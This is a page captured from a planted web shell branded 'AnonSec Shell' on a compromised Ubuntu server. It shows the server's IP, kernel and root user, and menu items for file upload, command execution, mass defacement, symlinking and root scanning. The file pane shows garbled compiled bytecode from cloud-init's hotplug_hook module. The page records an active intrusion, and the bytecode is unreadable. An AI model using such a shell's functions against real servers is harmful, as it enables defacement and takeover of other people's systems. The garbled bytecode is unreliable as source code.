AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/cmd/devel/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/cloudinit/cmd/devel/__pycache__/hotplug_hook.cpython-310.pyc
o

x[h�-�@stdZddlZddlZddlZddlZddlZddlZddlZddlm	Z	m
Z
mZddlm
Z
ddlmZmZddlmZddlmZddlmZdd	lmZdd
lmZmZddlmZe�e�Z dZ!d$d
d�Z"Gdd�dej#�Z$Gdd�de$�Z%de%ej&fiZ'dd�Z(dede)fdd�Z*deddfdd�Z+d%dd�Z,dede-fdd �Z.d!d"�Z/ed#kr�e"��0�Z1e/e!e1�dSdS)&z)Handle reconfiguration on hotplug events.�N)�	reporting�stages�util)�install_hotplug)�
EventScope�	EventType)�loggers)�read_sys_net_safe)�parse_net_config_data)�events)�
DataSource�DataSourceNotFoundException)�Initzhotplug-hookcCs�|s	tjttd�}t|_|jdddddgd�|jdd	d
�}d|_|jddd
�|jddd
�}|jdddddd�|jddddddgd�|jddd
�|S)aBuild or extend an arg parser for hotplug-hook utility.

    @param parser: Optional existing ArgumentParser instance representing the
        subcommand which will be extended to support the args of this utility.

    @returns: ArgumentParser with proper argument configuration.
    )�prog�descriptionz-sz--subsystemTzsubsystem to act on�net)�required�help�choiceszHotplug Action�hotplug_action)�title�dest�queryz0Query if hotplug is enabled for given subsystem.)r�handlezHandle the hotplug event.z-dz	--devpath�PATHzSysfs path to hotplugged device)r�metavarrz-uz--udevactionzSpecify action to take.�add�remove�enablez%Enable hotplug for a given subsystem.)	�argparse�ArgumentParser�NAME�__doc__r�add_argument�add_subparsersr�
add_parser)�parser�
subparsers�
parser_handle�r)�B/usr/lib/python3/dist-packages/cloudinit/cmd/devel/hotplug_hook.py�
get_parsersL�������r+c@s`eZdZdd�Zejdd��Zeejdd���Zejde	fdd	��Z
d
d�Zdd
�Zdd�Z
dS)�
UeventHandlercCs"||_||_||_||_||_dS�N)�id�
datasource�devpath�action�
success_fn)�selfr.r/r0r1r2r)r)r*�__init__Rs

zUeventHandler.__init__cC�t��r-��NotImplementedError�r3r)r)r*�applyY�zUeventHandler.applycCr5r-r6r8r)r)r*�config]szUeventHandler.config�returncCr5r-r6r8r)r)r*�device_detectedbr:zUeventHandler.device_detectedcCsPd}|jdkr
d}n|jdkrd}ntd|j��||��kr&td|j��dS)NrTrFzUnknown action: %sz'Failed to detect %s in updated metadata)r1�
ValueErrorr=�RuntimeErrorr.)r3�detect_presencer)r)r*�detect_hotplugged_devicefs

��z&UeventHandler.detect_hotplugged_devicecCs|��Sr-)r2r8r)r)r*�successtszUeventHandler.successcCs,|j�tjg�}|std|jtjf��|S)Nz&Datasource %s not updated for event %s)r/�update_metadata_if_supportedr�HOTPLUGr?)r3�resultr)r)r*�update_metadataws�
��zUeventHandler.update_metadataN)�__name__�
__module__�__qualname__r4�abc�abstractmethodr9�propertyr;�boolr=rArBrFr)r)r)r*r,Qs
r,cs>eZdZ�fdd�Zdd�Zedd��Zdefdd	�Z�Z	S)
�
NetHandlercs*ttj�|�d�}t��|||||�dS)N�address)r	�os�path�basename�superr4)r3r/r0r1r2r.��	__class__r)r*r4�szNetHandler.__init__cCs�|jjj|jdd�tj�|j�}|jj��}|j	dkr+|�
|�s)td�|j���dS|j	dkr=|�
|�s?td�|j���dSdS)NF)�bring_uprzFailed to bring up device: {}rzFailed to bring down device: {})r/�distro�apply_network_configr;rPrQrRr0�network_activatorr1�bring_up_interfacer?�format�bring_down_interface)r3�interface_name�	activatorr)r)r*r9�s&�


��


��zNetHandler.applycCs|jjSr-)r/�network_configr8r)r)r*r;�szNetHandler.configr<cs<t�j�}�fdd�|��D�}t�d�j|�t|�dkS)Ncs g|]}|�d��jkr|�qS)�mac_address)�getr.)�.0�ifacer8r)r*�
<listcomp>�s
�z.NetHandler.device_detected.<locals>.<listcomp>zIfaces with ID=%s : %sr)r
r;�iter_interfaces�LOG�debugr.�len)r3�netstate�foundr)r8r*r=�s

�zNetHandler.device_detected)
rGrHrIr4r9rLr;rMr=�
__classcell__r)r)rTr*rN�s
rNrc
CsRzt|d}Wnty}ztd�|��|�d}~wwtj|j|jtj	|d�S)N�z4hotplug-hook: cannot handle events for subsystem: {})r/�cfg�event_source_type�scope)
�SUBSYSTEM_PROPERTIES_MAP�KeyErrorr?r[r�update_event_enabledr/rmrrD)�hotplug_init�	subsystemro�er)r)r*�
is_enabled�s$������rvrsrtcCsRt�d�|jdd�}|�tjg�st�d|�dSt||�s't�d|�dS|S)NzFetching datasource�trust��existingz*hotplug not supported for event of type %sz(hotplug not enabled for event of type %s)rfrg�fetch�get_supported_eventsrrDrv)rsrtr/r)r)r*�initialize_datasource�s

r|r<cCs�t||�}|s	dSt|d}t�d|�|||||jd�}t��}|jjs.t|||�dSt��||jj	krVt|||�t�d�t�
|jj�t��||jj	ks8dSdS)NrzCreating %s event handler)r/r0r1r2z>Gathering network configuration again due to IMDS limitations.)r|rprfrg�_write_to_cache�time�hotplug_retry_settings�force_retry�try_hotplug�sleep_total�sleep�sleep_period)rsr0rt�
udevactionr/�handler_cls�
event_handler�startr)r)r*�handle_hotplug�s,
���r�cCs�gd�}td�}t|�D]X\}}t�d||t|��z+t�d�|��|js0t�d�|��t�d�|��t�d�|�	�WdStyd}zt�d|�t
�|�|}WYd}~qd}~ww|�)	N)rl���
�z#Bug while processing hotplug event.z!subsystem=%s update attempt %s/%szRefreshing metadataz$Detecting device in updated metadatazApplying config changezUpdating cachez,Exception while processing hotplug event. %s)�	Exception�	enumeraterfrgrhrF�skip_hotplug_detectrAr9rBr~r�)rtr�r/�
wait_times�last_exception�attempt�waitrur)r)r*r��s6�




��r�cCs�|jdd�}|s
dSt|d}tj|�tjg��|t��v}|s-td|��tj	d�dSt
�|j�}|j
|dvrGtd|�d	�tj	d�d
S|d�|j
�t
j|j�d�t�|�dd
d�t|d
|jd�d
S)NrwrxFrlz#hotplug not supported for event of )�file�scopesz)Not installing hotplug for event of type z. Reason: Already done.Tzhotplug.enabled�wi�)�omode�mode)�network_hotplug_enabledrm)rzrprrDr{ra�set�print�sys�stderrr�read_hotplug_enabled_file�paths�value�append�
write_file�	get_cpath�json�dumpsrrm)rsrtr/ro�hotplug_supported�hotplug_enabled_filer)r)r*�enable_hotplugs<��
�
��r�c	Cs�tj|tdd�}tg|d�}|��t�|j�d|jvr&t�	|j�
d��t�d||j
|jd|vr5|jndd|vr=|jnd�|�wza|j
dkrmzt||j�}Wntyctd	�t�d
�Ynwt|ridnd�n6|j
d
kr~t||j|j|jd�n%t��dkr�tj�d�t�d
�t||jd�s�t�d
�td|j���Wn
ty�t�d��wWd�n1s�wYt�d�t��dS)NT)�reporting_enabled)�ds_deps�reporterrzh%s called with the following arguments: {hotplug_action: %s, subsystem: %s, udevaction: %s, devpath: %s}r�r0rz9Unable to determine hotplug state. No datasource detectedrl�enabled�disabledr)rsr0rtr�rz9Root is required. Try prepending your command with sudo.
)rsrtz)Enabled cloud-init hotplug for subsystem=z*Received fatal exception handling hotplug!zExiting hotplug handler)r�ReportEventStackr"r�read_cfgr�
setup_loggingrmr�update_configurationrarfrgrrtr�r0r|r
r�r��exitr�rP�getuidr��writer�r��	exception�flush_events)�name�args�hotplug_reporterrsr/r)r)r*�handle_args'sx�
�

���
��
�
���
���
)r��__main__r-)r<N)2r"rJrr��loggingrPr�r~�	cloudinitrrr�#cloudinit.config.cc_install_hotplugr�cloudinit.eventrr�
cloudinit.logr�
cloudinit.netr	�cloudinit.net.network_stater
�cloudinit.reportingr�cloudinit.sourcesrr
�cloudinit.stagesr�	getLoggerrGrfr!r+�ABCr,rN�NETWORKrprv�strr|r�r�rMr�r��
parse_argsr�r)r)r)r*�<module>sD

62
(�
#E
�

Anon7 - 2022
AnonSec Team